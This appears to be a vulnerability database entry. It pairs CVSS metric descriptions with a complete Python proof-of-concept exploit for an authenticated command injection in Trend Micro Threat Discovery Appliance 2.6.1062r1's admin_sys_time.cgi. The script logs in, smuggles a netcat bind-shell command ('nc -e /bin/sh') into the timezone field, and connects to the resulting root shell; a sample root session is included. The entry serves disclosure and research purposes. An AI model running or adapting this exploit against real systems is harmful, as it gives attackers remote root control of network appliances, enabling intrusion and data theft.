The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Trend Micro TDA 2.6.1062r1 admin_sys_time.cgi Remote Code Execution#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 admin_sys_time.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1
Summary:
========
There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.
Notes:
======
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
exec a bind shell using netcat.
- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...
Example:
========
saturn:trend_micro_threat_discovery_admin_sys_time_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_admin_sys_time_rce mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
exit
"""
import re
import os
import sys
import time
import requests
import threading
requests.packages.urllib3.disable_warnings()
if len(sys.argv) != 3:
print "(+) usage: %s <target> <pass>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
sys.exit(-1)
t = sys.argv[1]
p = sys.argv[2]
bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
e_url = "%scgi-bin/admin_sys_time.cgi" % bu
s = requests.Session()
def exec_bd(s, e_url):
# now we setup our backdoor
# no reverse, since it seems to fail !?
netcat = "America/Los_Angeles|`nc -e /bin/sh -lp 1337`"
s.post(e_url, data={'act':'save','timezone': netcat}, verify=False, proxies={"http":"http://127.0.0.1:8081"})
# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."
thread = threading.Thread(target=exec_bd, args=(s, e_url,))
thread.start()
print "(+) starting backdoor, this will take a few secs..."
time.sleep(2)
print "(+) calling backdoor!"
os.system("nc %s 1337" % t)
else:
print "(-) login failed"
sys.exit(-1)
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